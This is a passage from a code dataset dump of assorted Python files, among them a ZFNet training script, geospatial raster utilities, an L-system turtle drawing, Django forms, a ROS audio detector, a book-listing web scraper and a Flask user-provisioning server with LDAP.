0.0\r\n train_acc = 0.0\r\n validate_loss = 0.0\r\n validate_acc = 0.0\r\n model.train()\r\n for batch_idx, (data, target) in enumerate(train_loader):\r\n data = data.to(device)\r\n target = target.to(device)\r\n optimizer.zero_grad()\r\n output = model(data)\r\n _, preds = torch.max(output, 1)\r\n loss = criterion(output, target)\r\n loss.backward()\r\n optimizer.step()\r\n train_acc = train_acc + torch.sum(preds == target.data)\r\n train_loss = train_loss + ((1 / (batch_idx + 1)) * (loss.data - train_loss))\r\n model.eval()\r\n with torch.no_grad():\r\n for batch_idx, (data, target) in enumerate(train_loader):\r\n data = data.to(device)\r\n target = target.to(device)\r\n output = model(data)\r\n _, preds = torch.max(output, 1)\r\n loss = criterion(output, target)\r\n validate_acc = validate_acc + torch.sum(preds == target.data)\r\n validate_loss = validate_loss + loss.item()\r\n train_loss = train_loss / len(train_loader.dataset)\r\n train_acc = train_acc / len(train_loader.dataset)\r\n validate_loss = validate_loss / len(validate_loader.dataset)\r\n validate_acc = validate_acc / len(validate_loader.dataset)\r\n train_accuracy_list.append(train_acc)\r\n train_loss_list.append(train_loss)\r\n print('Epoch: {} \\tTraining Acc: {:6f} \\tTraining Loss: {:6f}'.format(epoch, train_acc, train_loss))\r\n if validate_acc > best_acc:\r\n best_acc = validate_acc\r\n torch.save(model.state_dict(), save_path)\r\n time_end = time.time()\r\n train_time = (time_end - time_start)/epochs\r\n print('Training Time for Each Epoch is ', train_time)\r\n print('finished training')\r\n\r\ntrain(n_epoches, train_loader, model, optimizer, criterion,'./trained-model-ZFNetbn.pth')\r\n\r\nplt.style.use(\"ggplot\")\r\nplt.figure()\r\nplt.plot(train_accuracy_list, label=\"train_acc\")\r\nplt.title(\"ZFNet with BN Train Accuracy\")\r\nplt.xlabel(\"Epoch #\")\r\nplt.ylabel(\"Loss\")\r\nplt.show()\r\n\r\n#Test\r\ntest_dir = data_dir + '/Test'\r\ntest_transforms = transforms.Compose([\r\n transforms.Resize(size=(224,224)),\r\n transforms.ToTensor(),\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\r\n])\r\ntest_dataset = datasets.ImageFolder(test_dir, transform=test_transforms)\r\ntest_dataloader = torch.utils.data.DataLoader(test_dataset, batch_size=96, shuffle=True)\r\nnum_classes = 2\r\nsave_path = './trained-model-ZFNetbn.pth'\r\nnet = ZFNetbn(num_classes=num_classes)\r\nnet = net.to(device)\r\nnet.load_state_dict(torch.load(save_path))\r\ntest_acc = 0\r\nnet.eval()\r\nstart_time = time.time()\r\nwith torch.no_grad():\r\n for data in test_dataloader:\r\n images, labels = data\r\n images = images.to(device)\r\n labels = labels.to(device)\r\n output = net(images)\r\n _, prediction = torch.max(output.data, 1)\r\n test_acc = test_acc + torch.sum(prediction == labels)\r\ntest_acc = test_acc / len(test_dataloader.dataset)\r\nend_time = time.time()\r\nprint(\"test time is \", end_time - start_time)\r\nprint('Test Accuracy is ', test_acc)","sub_path":"ZFNetbn.py","file_name":"ZFNetbn.py","file_ext":"py","file_size_in_byte":6587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"405294044","text":"\"\"\"\nalignment.py\n\nAuthor: Tobias Seydewitz\nDate: 01.06.18\nMail: tobi.seyde@gmail.com\n\"\"\"\nimport numpy as np\nfrom time import time\nfrom rasterio.features import rasterize\nfrom tropicly.raster import (clip,\n write,\n merge_from,\n clip_raster,\n round_bounds,\n polygon_from,\n int_to_orient,\n reproject_like,\n make_warp_profile,)\n\n\nCRS = {'init': 'epsg:4326'}\n\n\ndef worker(template, alignments, vector, pathobj):\n # TODO refactor\n kwargs = make_warp_profile(template, CRS)\n kwargs['out'] = pathobj\n\n out = raster_alignment(alignments, **kwargs)\n\n data = rasterize_vector(vector, kwargs['transform'], kwargs['bounds'], (kwargs['height'], kwargs['width']))\n name = 'ifl{:x}.tif'.format(id(data))\n out['ifl'] = write(data, str(pathobj/name), **kwargs)\n\n kwargs['bounds'] = round_bounds(kwargs['bounds'])\n\n return raster_clip(out, **kwargs)\n\n\ndef raster_alignment(alignments, **kwargs):\n # TODO refactor\n out = {}\n\n for key, values in alignments.items():\n values = list(set(values))\n\n name = '{}{:x}.tif'.format(key, abs(hash(''.join(values) + str(time()))))\n path = str(kwargs['out']/name)\n\n err_msg = 'Failed at {} files {}'.format(key, values)\n\n if len(values) == 1:\n try:\n out[key] = reproject_like(*values, path, **kwargs)\n except Exception:\n print(err_msg)\n\n elif len(values) > 1:\n try:\n data, affine = merge_from(values, bounds=kwargs['bounds'], res=kwargs['res'])\n out[key] = write(data, path, **kwargs)\n except Exception:\n print(err_msg)\n\n else:\n continue\n\n return out\n\n\ndef raster_clip(to_clip, bounds, **kwargs):\n orientation = int_to_orient(bounds.left, bounds.top)\n out = {}\n\n for key, value in to_clip.items():\n name = '{}_{}.tif'.format(key, orientation)\n path = str(kwargs['out']/name)\n\n data, transform = clip_raster(value, bounds)\n kwargs.update({'transform': transform})\n out[key] = write(data, path, **kwargs)\n\n return out\n\n\ndef rasterize_vector(vector, transform, bounds, shape):\n \"\"\"\n\n :param transform:\n :param bounds:\n :param shape:\n :param vector:\n :return:\n \"\"\"\n clipper = polygon_from(bounds)\n geometries = list(vector.cx[bounds[0]:bounds[2], bounds[1]:bounds[3]].geometry)\n\n if geometries:\n clipped = clip(clipper, geometries)\n raster = rasterize(clipped, out_shape=shape, transform=transform, dtype=np.uint8)\n\n return raster\n\n return np.zeros(shape=shape, dtype=np.uint8)\n","sub_path":"tropicly/alignment.py","file_name":"alignment.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"308352449","text":"import turtle\n\ndef apply_rules(letter):\n \"\"\"Apply rules to an individual letter, and return the result.\"\"\"\n # Rule 1\n if letter == 'X':\n new_string = 'F[+X][-X]FX'\n\n # Rule 2\n elif letter == 'F':\n new_string = 'FF'\n\n # no rules apply so keep the character\n else:\n new_string = letter\n\n return new_string\n\ndef process_string(original_string):\n \"\"\"Apply rules to a string, one letter at a time, and return the result.\"\"\"\n tranformed_string = \"\"\n for letter in original_string:\n tranformed_string = tranformed_string + apply_rules(letter)\n\n return tranformed_string\n\ndef create_l_system(number_of_iterations, axiom):\n \"\"\"Begin with an axiom, and apply rules to the original axiom string number_of_iterations times, then return the result.\"\"\"\n start_string = axiom\n for counter in range(number_of_iterations):\n end_string = process_string(start_string)\n start_string = end_string\n\n return end_string\n\ndef draw_l_system(some_turtle, instructions, angle, distance):\n \"\"\"Draw with some_turtle, interpreting each letter in the instructions passed in.\"\"\"\n saved_info_list = []\n for task in instructions:\n if task == 'F':\n some_turtle.forward(distance)\n elif task == 'B':\n some_turtle.backward(distance)\n elif task == '+':\n some_turtle.right(angle)\n elif task == '-':\n some_turtle.left(angle)\n elif task == '[':\n saved_info_list.append([some_turtle.heading(), some_turtle.xcor(), some_turtle.ycor()])\n \n # print(saved_info_list)\n elif task == ']':\n some_turtle.begin_fill()\n some_turtle.circle(3)\n some_turtle.end_fill() \n new_info = saved_info_list.pop()\n some_turtle.setheading(new_info[0])\n some_turtle.goto(new_info[1], new_info[2])\n\n# create the string of turtle instructions,\n# with 3 iterations and an axiom of F\ninstruction_string = create_l_system(6, \"X\")\nprint(instruction_string)\n\n# setup for drawing\nwindow = turtle.Screen()\nwindow.tracer(2)\njill = turtle.Turtle()\njill.color(\"green\")\njill.speed(0)\n\n# using screen.tracer() speeds up your drawing (by skipping some frames when drawing)\n#window.tracer(10)\n\n# move turtle to bottom and middle of screen\njill.goto(0, -200)\njill.left(90)\n\n# draw the picture, using angle 30 and segment length 2\ndraw_l_system(jill, instruction_string, 25.7, 5)\n","sub_path":"l-systems-lists.py","file_name":"l-systems-lists.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"642220468","text":"from locust import HttpUser, TaskSet, task, between\nfrom lib import flow_sign_up, flow_helper\nimport logging\n\n\nclass SignUpLoad(TaskSet):\n def on_start(self):\n logging.info(\"*** Starting Sign-Up load tests ***\")\n\n def on_stop(self):\n logging.info(\"*** Ending Sign-Up load tests ***\")\n\n \"\"\" @task() : value=3 executes 3x as often as value=1 \"\"\"\n \"\"\" Things inside task are synchronous. Tasks are async \"\"\"\n\n @task(1)\n def sign_up_load_test(self):\n # GET the root\n flow_helper.do_request(self, \"get\", \"/\", \"/\", \"\")\n\n # This performs the entire sign-up flow\n flow_sign_up.do_sign_up(self)\n\n # Should be able to get the /account page now\n flow_helper.do_request(self, \"get\", \"/account\", \"/account\", \"\")\n\n # Now log out.\n # You'd think that this would leave you at \"/\", but it returns a 204 and leaves you be.\n flow_helper.do_request(self, \"get\", \"/logout\", \"/logout\", \"\")\n\n\nclass WebsiteUser(HttpUser):\n tasks = [SignUpLoad]\n # number seconds simulated users wait between requests\n wait_time = between(5, 9)\n","sub_path":"load_testing/sign_up.locustfile.py","file_name":"sign_up.locustfile.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"330915298","text":"from django import forms\nfrom .models import Order, OrderDocument\n\nclass OrderCreateForm(forms.ModelForm):\n recipientfirstname = forms.CharField(label='Nombres',\n help_text='De la persona que recibirá los documentos.')\n recipientlastname = forms.CharField(label='Apellidos',\n help_text='De la persona que recibirá los documentos.')\n address = forms.CharField(label='Dirección',\n help_text='Utilice el idioma del país de destino en la dirección.',)\n postal_code = forms.CharField(label='Código postal')\n city = forms.CharField(label='Ciudad')\n province = forms.CharField(label='Estado, provincia o departamento')\n country = forms.CharField(label='País')\n\n class Meta:\n model = Order\n fields = ['recipientfirstname',\n 'recipientlastname',\n 'address',\n 'postal_code',\n 'city',\n 'province',\n 'country',\n ]\n widgets = {\n 'tracker':forms.HiddenInput(),\n 'status':forms.HiddenInput(),\n 'creator':forms.HiddenInput(),\n 'userfirstname':forms.HiddenInput(),\n 'userlastname':forms.HiddenInput(),\n 'email': forms.HiddenInput(),\n }\n\nclass OrderCancelForm(forms.ModelForm):\n ORDER_STATUS_CHOICES= (\n ('70', 'Anulada'),\n )\n\n status = forms.CharField()\n\n class Meta:\n model = Order\n fields = {\n 'status',\n }\n\nclass OrderDocumentForm(forms.ModelForm):\n\n doctype = forms.ChoiceField(label=\"Tipo de documento\",\n choices=OrderDocument.ORDER_DOCTYPES_CHOICES)\n description = forms.CharField(label=\"Descripción\",\n help_text='Puede colocar alguna descripción del documento si lo desea.')\n document = forms.FileField(label=\"Buscar documento\")\n\n\n class Meta:\n model = OrderDocument\n fields = ('doctype', 'description', 'document', )\n","sub_path":"orders/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"213666328","text":"#!/usr/bin/env python3\n#\n# The following code has been adapted from client_audio.py provided \n# by CONSEQUENTIAL ROBOTICS for detecting audio\n\nimport rospy\nimport numpy as np\nimport wave, struct\nimport matplotlib.pyplot as plt\nfrom audio_detection.process_audio import ProcessAudio\nfrom audio_detection.preprocessing import ProcessMiRo\n \n# sample count\nSAMPLE_COUNT = 640\t#32 ms\n\nclass RosCooDetection():\n\n\tdef listening(self, save = False, input = None):\n\t\t\n\t\t# loop\n\t\tdetected_sound = np.zeros((0, 1), 'uint16')\n\t\tprocessed_sound = np.empty(0)\n\t\ttotal_filtered_signal = np.empty(0)\n\t\t\n\t\twhile not rospy.is_shutdown():\n\n\t\t\tself.micbuf = self.mic_data.micbuf\n\t\t\tself.outbuf = self.mic_data.outbuf\n\t\t\tself.startCheck = self.mic_data.startCheck\n\n\t\t\tif self.startCheck is True and not self.outbuf is None:\n\t\t\t\t\n\t\t\t\t# get audio from left ear of Miro\n\t\t\t\tdetect_sound = np.reshape(self.outbuf[:, [1]], (-1))\n\n\t\t\t\t# downsample for playback. sample rate is set to 16000.\n\t\t\t\toutbuf = np.zeros((int(SAMPLE_COUNT / 1.25), 0), 'uint16')\n\t\t\t\ti = np.arange(0, SAMPLE_COUNT, 1.25)\n\t\t\t\tj = np.arange(0, SAMPLE_COUNT)\n\t\t\t\tx = np.interp(i, j, detect_sound[:])\n\t\t\t\toutbuf = np.concatenate((outbuf, x[:, np.newaxis]), axis=1)\n\t\t\t\toutbuf = outbuf.astype(int)\n\t\t\t\toutbuf = np.reshape(outbuf[:, [0]], (-1))\n\n\t\t\t\t# set new signal for processing\n\t\t\t\tself.processing_data.set_signal(outbuf)\n\t\t\t\tif input == None:\n\t\t\t\t\tprocessed_data, accumulation, filtered_signal = self.processing_data.process_miro_detection()\n\t\t\t\telse:\n\t\t\t\t\tprocessed_data, accumulation, filtered_signal = self.processing_data.process_miro_detection(input = input)\n\t\t\t\t# collect data from the micbuf for making audio file for re-listening later and also to graph the necessary data\n\t\t\t\tdetected_sound = np.append(detected_sound, outbuf)\t\t# audio\n\t\t\t\tprocessed_sound = np.append(processed_sound, processed_data)\t\t# ste\n\t\t\t\ttotal_filtered_signal = np.append(total_filtered_signal, filtered_signal)\t\t# filtered sound\n\t\t\t\tself.mic_data.startCheck = False # to show micbuf data has been processed\n\n\t\t\t\tif save == False:\n\t\t\t\t\treturn accumulation[len(accumulation) - 1]\n\n\t\tif save == True:\n\t\t\t# plot\n\t\t\tplt.figure(figsize=(12, 6))\n\t\t\tplt.subplot(2,2,1)\n\t\t\tplt.plot(detected_sound)\n\t\t\tplt.subplot(2,2,2)\n\t\t\tplt.plot(total_filtered_signal)\n\t\t\tplt.subplot(2,2,3)\n\t\t\tplt.plot(processed_sound)\n\t\t\tplt.subplot(2,2,4)\n\t\t\tplt.plot(accumulation)\n\t\t\tplt.show()\n\n\t\t\t# save audio file throughout the whole running process\n\t\t\toutfilename = 'tmp/client_audio.wav'\t# audio file location\n\t\t\tfile = wave.open(outfilename, 'wb')\n\t\t\tfile.setframerate(16000)\n\t\t\tfile.setsampwidth(2)\n\t\t\t\n\t\t\tprint(\"writing one CENTRE channel to file with sample length \" + str(len(detected_sound)))\n\t\t\tfile.setnchannels(1)\n\t\t\tfor s in detected_sound:\n\t\t\t\tfile.writeframes(struct.pack(' 0:\n read_size = min(remaining,chunk)\n rf.seek(remaining - read_size)\n read_buf = rf.read(read_size)\n wf.write(read_buf[::-1])\n remaining -= chunk\n\nif __name__ == \"__main__\":\n reverse_binary(\"test.tgz\")\n","sub_path":"reversebinfile3.py","file_name":"reversebinfile3.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"92552549","text":"import os\nfrom flask import Flask\nimport dotenv\nfrom flask_swagger_ui import get_swaggerui_blueprint\nimport pymysql\n\ndotenv.load_dotenv()\n\n\napp: Flask = Flask(__name__)\n\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = f\"mysql+pymysql://{os.environ['db_user']}:{os.environ['db_password']}\" \\\n f\"@{os.environ['db_host']}:{os.environ['db_port']}/{os.environ['db_schema']}\"\n\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n\nswagger_url: str = '/api/docs' \nswagger_data_route: str = '/swagger-data' \nswaggerui_blueprint = get_swaggerui_blueprint(\n swagger_url, \n swagger_data_route,\n config={\n 'app_name': \"Pedregulho\"\n }\n)\napp.register_blueprint(\n swaggerui_blueprint\n)\n","sub_path":"src/Setup/API.py","file_name":"API.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"83491731","text":"import csv\nimport re\nimport sqlite3\nfrom typing import List\nimport requests\nimport lxml.html\n\ndef main():\n \"\"\"\n メインの処理。fetch(), scrape(), save()の3つの関数を呼び出す。\n \"\"\"\n url = 'https://gihyo.jp/dp'\n html = fetch(url)\n books = scrape(html, url)\n save('books.db', books)\n save_file('books.csv', books)\n\ndef fetch(url: str)-> str:\n \"\"\"\n 引数urlで与えられたURLのWebページを取得する。\n WebページのエンコーディングはConetnt-Typeヘッダーから取得する。\n 戻り値:str型のHTML\n \"\"\"\n r = requests.get(url)\n return r.text #HTTPヘッダーから取得したエンコーディングでデコードした文字列を返す\n\ndef scrape(html: str, base_url: str)-> List[dict]:\n \"\"\"\n 引数htmlで与えらえたHTMLから正規表現で書籍の情報を抜き出す。\n 引数base_urlは絶対URLに変換する際の基準となるURLを指定する。\n 戻り値:書籍(dict)のリスト\n \"\"\"\n books =[]\n html = lxml.html.fromstring(html)\n html.make_links_absolute(base_url) #すべてのa要素のhref属性を絶対URLに変換する。\n\n #cssselect()メソッドで、セレクターに該当するa要素のリストを取得して、ここのa要素に対して処理を行う。\n #セレクターの意味:id=\"listBook\"である要素 の直接の子であるli要素 の直接の子であるitemprop=\"url\"という属性を持つa要素\n for a in html.cssselect('#listBook > li > a[itemprop=\"url\"]'):\n #a要素のhref属性から書籍のurlを取得する。\n url = a.get('href')\n\n #書籍のタイトルはitemprop=\"name\"という属性を持つp要素から取得する。\n p = a.cssselect('p[itemprop=\"name\"]')[0]\n title = p.text_content() #wbr要素などが含まれているのでtextではなくtext_contentを使う\n\n books.append({'url':url, 'title':title})\n\n return books\n\ndef save(db_path: str, books: List[dict]):\n \"\"\"\n 引数booksで与えたれた書籍のリストをSQLiteデータベースに保存する。\n データベースのパスは引数db_pathで与えられる。\n 戻り値:無し\n \"\"\"\n\n conn = sqlite3.connect(db_path)\n c = conn.cursor()\n c.execute('DROP TABLE IF EXISTS books')\n c.execute('''\n CREATE TABLE books(\n title text,\n url text\n )\n ''')\n c.executemany('INSERT INTO books VALUES(:title, :url)', books)\n\n conn.commit()\n conn.close()\n\ndef save_file(file_path: str, books: List[dict]):\n \"\"\"\n 引数booksで与えたれた書籍のリストをCSV形式のファイルに保存する。\n ファイルのパスは引数file_pathで与えられる。\n 戻り値:無し\n \"\"\"\n with open(file_path, 'w', newline='') as f:\n #第1引数にファイルオブジェクトを、第2引数にフィールド名のリストを指定する。\n writer = csv.DictWriter(f, ['url', 'title'])\n writer.writeheader() #1行目のヘッダーを出力する\n #writerows()で複数の行を1度に出力する。引数は辞書のリスト。\n writer.writerows(books)\n\n#pythonコマンドで実行された場合にmain()関数を呼び出す。これはモジュールとして他のファイルから\n#インポートされたときに、mail()関数が実行されないようにするための、pythonにおける一般的なイディオム。\nif __name__ == '__main__':\n main()","sub_path":"python_scraper.py","file_name":"python_scraper.py","file_ext":"py","file_size_in_byte":3543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"54324862","text":"#!/usr/bin/python2.7\n\nimport os\nimport sys\nimport traceback\nimport ldap\nimport ssl\nfrom flask import Flask, send_file, send_from_directory, redirect, request, make_response\nfrom flask.ext.restful import Resource, Api\nfrom flask.ext.restful.reqparse import RequestParser\nfrom tornado.wsgi import WSGIContainer\nfrom tornado.httpserver import HTTPServer\nfrom tornado.ioloop import IOLoop\nfrom provisor import Provisor\nfrom provisor.provisor import UNKNOWN_HOST\nfrom provisor.utils import validate_pubkey as pubkey\nfrom provisor.utils import validate_username as username\n\napp = Flask(__name__)\napp.config['RESTFUL_JSON'] = {\"indent\": 4}\n\napi = Api(app)\n\np = Provisor(\n uri=\"ldap://ldap.hashbang.sh\",\n user=\"cn=provisor,ou=Admin,dc=hashbang,dc=sh\",\n password=os.environ['LDAP_PASSWORD'],\n user_base=\"ou=People,dc=hashbang,dc=sh\",\n group_base=\"ou=Group,dc=hashbang,dc=sh\",\n servers_base=\"ou=Servers,dc=hashbang,dc=sh\",\n)\n\ncertfile = os.path.join(os.getcwd(), \"certs/server.crt\")\nkeyfile = os.path.join(os.getcwd(), \"certs/server.key\")\nhttps_port = 4443\nhttp_port = 8080\n\n\n@api.representation('text/plain')\ndef output_plain(data, code, headers=None):\n lines = []\n for server, stats in data.items():\n line = [server]\n for key, val in stats.items():\n line.append(str(val))\n lines.append(\"|\".join(line))\n data = \"\\n\".join(lines)\n resp = make_response(data, code)\n resp.headers.extend(headers or {})\n return resp\n\n\nclass UserCreate(Resource):\n def __init__(self):\n self.reqparse = RequestParser()\n self.reqparse.add_argument(\n 'user',\n type = username,\n required = True,\n location = 'json'\n )\n self.reqparse.add_argument(\n 'key',\n type = pubkey,\n required = True,\n location = 'json'\n )\n self.reqparse.add_argument(\n 'host',\n type = str,\n required = True,\n location = 'json'\n )\n super(UserCreate, self).__init__()\n\n def post(self):\n args = self.reqparse.parse_args()\n print(args)\n\n try:\n p.add_user(\n username=str(args['user']),\n pubkey=args['key'],\n hostname=args['host']\n )\n except ldap.SERVER_DOWN:\n return {'message': 'Unable to connect to LDAP server'}, 400\n except ldap.ALREADY_EXISTS:\n return {'message': 'User already exists'}, 400\n except UNKNOWN_HOST:\n return {'message': 'Unknown shell server'}, 400\n except:\n (typ, value, tb) = sys.exc_info()\n sys.stderr.write(\"Unexpected Error: %s\\n\" % typ)\n sys.stderr.write(\"\\t%s\\n\" % value)\n traceback.print_tb(tb)\n return {'message': 'User creation script failed'}, 400\n\n return {'message': 'success'}\n\n\nclass ServerStats(Resource):\n LOCATIONS = {\n \"da1.hashbang.sh\": {\"lat\": 32.8, \"lon\": -96.8},\n \"ny1.hashbang.sh\": {\"lat\": 40.7, \"lon\": -74},\n \"sf1.hashbang.sh\": {\"lat\": 37.8, \"lon\": -122.4},\n \"to1.hashbang.sh\": {\"lat\": 43.7, \"lon\": -79.4}\n }\n\n def get(self, out_format='json'):\n try:\n server_stats = p.server_stats()\n except ldap.SERVER_DOWN:\n return {'message': 'Unable to connect to LDAP server'}, 400\n\n for s in server_stats.keys():\n if s in self.LOCATIONS.keys():\n server_stats[s]['coordinates'] = self.LOCATIONS[s]\n\n return server_stats\n\n\napi.add_resource(UserCreate, '/user/create')\napi.add_resource(ServerStats, '/server/stats')\n\n\ndef security_headers(response, secure=False):\n csp = \"default-src 'none'; \" \\\n \"style-src https://fonts.googleapis.com 'self'; \" \\\n \"font-src https://fonts.gstatic.com; \" \\\n \"img-src data:; script-src 'self'; \" \\\n \"sandbox allow-same-origin allow-scripts; \" \\\n \"frame-ancestors 'none'\"\n\n response.headers['Content-Security-Policy'] = csp\n response.headers['Referrer-Policy'] = 'no-referrer'\n response.headers['X-Content-Type-Options'] = 'nosniff'\n response.headers['X-Frame-Options'] = 'DENY'\n response.headers['X-XSS-Protection'] = '1; mode=block'\n\n if secure:\n response.headers['Strict-Transport-Security'] = 'max-age=31536000'\n\n return response\n\n\n@app.route('/', methods=[\"GET\"])\ndef root():\n useragent = request.headers.get('User-Agent')\n has_https = 'https_server' in globals()\n\n if 'curl' in useragent and not request.is_secure:\n resp = send_from_directory('static', 'warn.sh.asc')\n elif not has_https or request.is_secure:\n resp = send_from_directory('static', 'index.html')\n else:\n return redirect(request.url.replace(\"http://\", \"https://\"))\n\n return security_headers(resp, secure=request.is_secure)\n\n\n@app.route('/LICENSE.md', methods=['GET'])\ndef license():\n return security_headers(send_file('LICENSE.md', mimetype='text/markdown'),\n secure=request.is_secure)\n\n# HE.net domain validation\n@app.route('/s73rmwh.txt', methods=['GET'])\ndef he_net():\n return security_headers(make_response('Hello IPv6!'),\n secure=request.is_secure)\n\n@app.route('/assets/', methods=['GET'])\ndef assets(filename):\n return security_headers(send_from_directory('src', filename),\n secure=request.is_secure)\n\nif __name__ == '__main__':\n\n if os.path.isfile(certfile) and os.path.isfile(keyfile):\n ssl_ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)\n ssl_ctx.load_cert_chain(certfile, keyfile)\n\n # Protocol options: allow TLSv1.1 and later\n ssl_ctx.options |= ssl.OP_NO_SSLv2\n ssl_ctx.options |= ssl.OP_NO_SSLv3\n ssl_ctx.options |= ssl.OP_NO_TLSv1\n\n # Cipher options: strong ciphers, follow server preferences\n ssl_ctx.set_ciphers(\"ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384\")\n ssl_ctx.options |= ssl.OP_CIPHER_SERVER_PREFERENCE\n\n # Key exchange: strong prime curve, no point reuse\n ssl_ctx.set_ecdh_curve('prime256v1')\n ssl_ctx.options |= ssl.OP_SINGLE_ECDH_USE\n\n https_server = HTTPServer(\n WSGIContainer(app),\n ssl_options=ssl_ctx\n )\n https_server.listen(https_port)\n\n http_server = HTTPServer(WSGIContainer(app))\n http_server.listen(http_port)\n IOLoop.instance().start()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"611556552","text":"from typing import Any, Tuple, Union\n\nimport numpy as np\nfrom random import randint\n\nnum1 = randint(1, 10)\nnum2 = randint(1, 10)\n# assert isinstance(num2, int)\nx = int(np.lcm(num1, num2))\n\nprint(num1)\nprint(num2)\nprint(int(x))\n\nnum1 = int(input(\"Type your first no.: \"))\nnum2 = int(input(\"Type your second no.: \"))\n\nx = np.lcm(num1, num2)\nprint(x)\n","sub_path":"function_5.py","file_name":"function_5.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"90057297","text":"import pygame as engine\nfrom os import path\n\n## pegar o diretorio do arquivo\nroot = path.dirname(path.abspath(__file__)) + \"\\\\\"\n\n## inicia tudo do pygame\nengine.init()\n\nengine.display.set_caption(\"Snek\")\n\n## pega informaçao do display\ngetRes = engine.display.Info()\n\nconfig = open(root+\"config.ini\", \"r\")\nfull = config.readline()\n\nflags = engine.FULLSCREEN | engine.DOUBLEBUF | engine.HWSURFACE\n\nif \"1\" in full:\n resolucao = [int(getRes.current_w), int(getRes.current_h)]\n tela = engine.display.set_mode(resolucao, flags)\n \nelse:\n resolucao = [int(getRes.current_w / 1.5), int(getRes.current_h / 1.5)]\n flags = engine.DOUBLEBUF | engine.HWSURFACE\n\n tela = engine.display.set_mode(resolucao, flags)\n\nconfig.close()\n\ntela.set_alpha(None)\n\nposCaixa = []\nfor i in range(1, 21):\n posCaixa.append((resolucao[1] / 20) * i)\n\n\ncaixaScores = []\nfor i in range(1, 19):\n caixaScores.append((resolucao[1] / 18) * i)\n\n## definindo relogio como uma variável para ficar mais fácil\nrelogio = engine.time.Clock()\n\n## o delay para repetir as teclas quando o usuario segurar elas\nengine.key.set_repeat(200, 50)\n\n\nlimiteFps = 120\n\n## define o tamanho da cobra de acordo com o display\n## nesse caso o tamanho eh 2% do tamanho do display\ntam = [int(resolucao[0] * 0.02)] * 2\n\ntamComida = tam\n\n## [0, 1] sao as posiçoes da cobra e [2, 3] eh o tamanho\nrectPlayer = [(resolucao[0] // 2) - tam[0] // 2, (resolucao[1] // 2) - tam[1] // 2, tam[0], tam[1]]\n\n## calcula a velocidade da cobra com base no tamanho do player\n## vel eh 20% do tamanho\nvel = tam[0] * 0.2\n\n# o delay q a calda vai ter\n# para pegar a posicao do player\ndelayCalda = 1\ntamInicial = 10\n\nbg = 10, 10, 10\nbranco = 255, 255, 255\nvermelho = 255, 100, 100\nverde = 0, 255, 102\nverde2 = 92, 255, 158\nverde3 = 149, 255, 192\nverde4 = 205, 255, 226\nazul = 157, 198, 255\nhighlight = 150, 150, 150\n\n## a variavel q vai definir pra onde a cobra vai se mexer\ndirecao = \"nulo\"\n\n## tipo de fonte e tamanho dela\nfonte = engine.font.Font(root+\"Font\\\\Font2.otf\", int(resolucao[0] * 0.0225))\nfonteArr = engine.font.Font(root+\"Font\\\\Font2.otf\", int(resolucao[0] * 0.026))\nfonteTitulo = engine.font.Font(root+\"Font\\\\Font2.otf\", int(resolucao[0] * 0.0565))\nultra = engine.font.Font(root+\"Font\\\\Font2.otf\", int(resolucao[0] * 0.07))\n\n## fazer um texto predefinido para renderizar depois\nrestart = fonte.render(\"R = Reset\", True, branco)\n\n## posição do texto de restart\nposRestart = (resolucao[0] / 2) - restart.get_size()[0] / 2, resolucao[1] - restart.get_size()[1]\n\n\nsair = fonte.render(\"ESC = Menu\", True, branco)\n\nposSair = (resolucao[0] / 2 - sair.get_size()[0] / 2, posRestart[1] - sair.get_size()[1])\n\n\nultra = ultra.render(\"Ultra Snake\", True, branco)\n\n## pra resetar o jogo se o usuario\n## apertar R\nreset = True\n\n## pra informar que o jogo acabou\nfim = True\n\nupload = False\n","sub_path":"Defaults.py","file_name":"Defaults.py","file_ext":"py","file_size_in_byte":2832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"458828242","text":"from torchvision import transforms, datasets\n\nfrom base import BaseDataLoader\n\n\nclass Cifar10DataLoader(BaseDataLoader):\n\n def __init__(self, data_dir, batch_size, shuffle=True, validation_split=0.0, num_workers=1, training=True,\n img_size=32):\n trsfm = transforms.Compose([\n transforms.Resize(img_size),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))]\n )\n self.data_dir = data_dir\n self.dataset = datasets.CIFAR10(self.data_dir, train=training, download=True, transform=trsfm)\n super().__init__(self.dataset, batch_size, shuffle, validation_split, num_workers)\n","sub_path":"data_loader/cifar100_data_loader.py","file_name":"cifar100_data_loader.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"246671923","text":"for _ in range (int(input())):\n person=int(input())\n arr=list(map(int,input().split()))\n end=arr[0]\n start=1\n sum=arr[0]\n person-=1\n day=0\n while person>0:\n for i in range(start,end):\n sum+=arr[i]\n 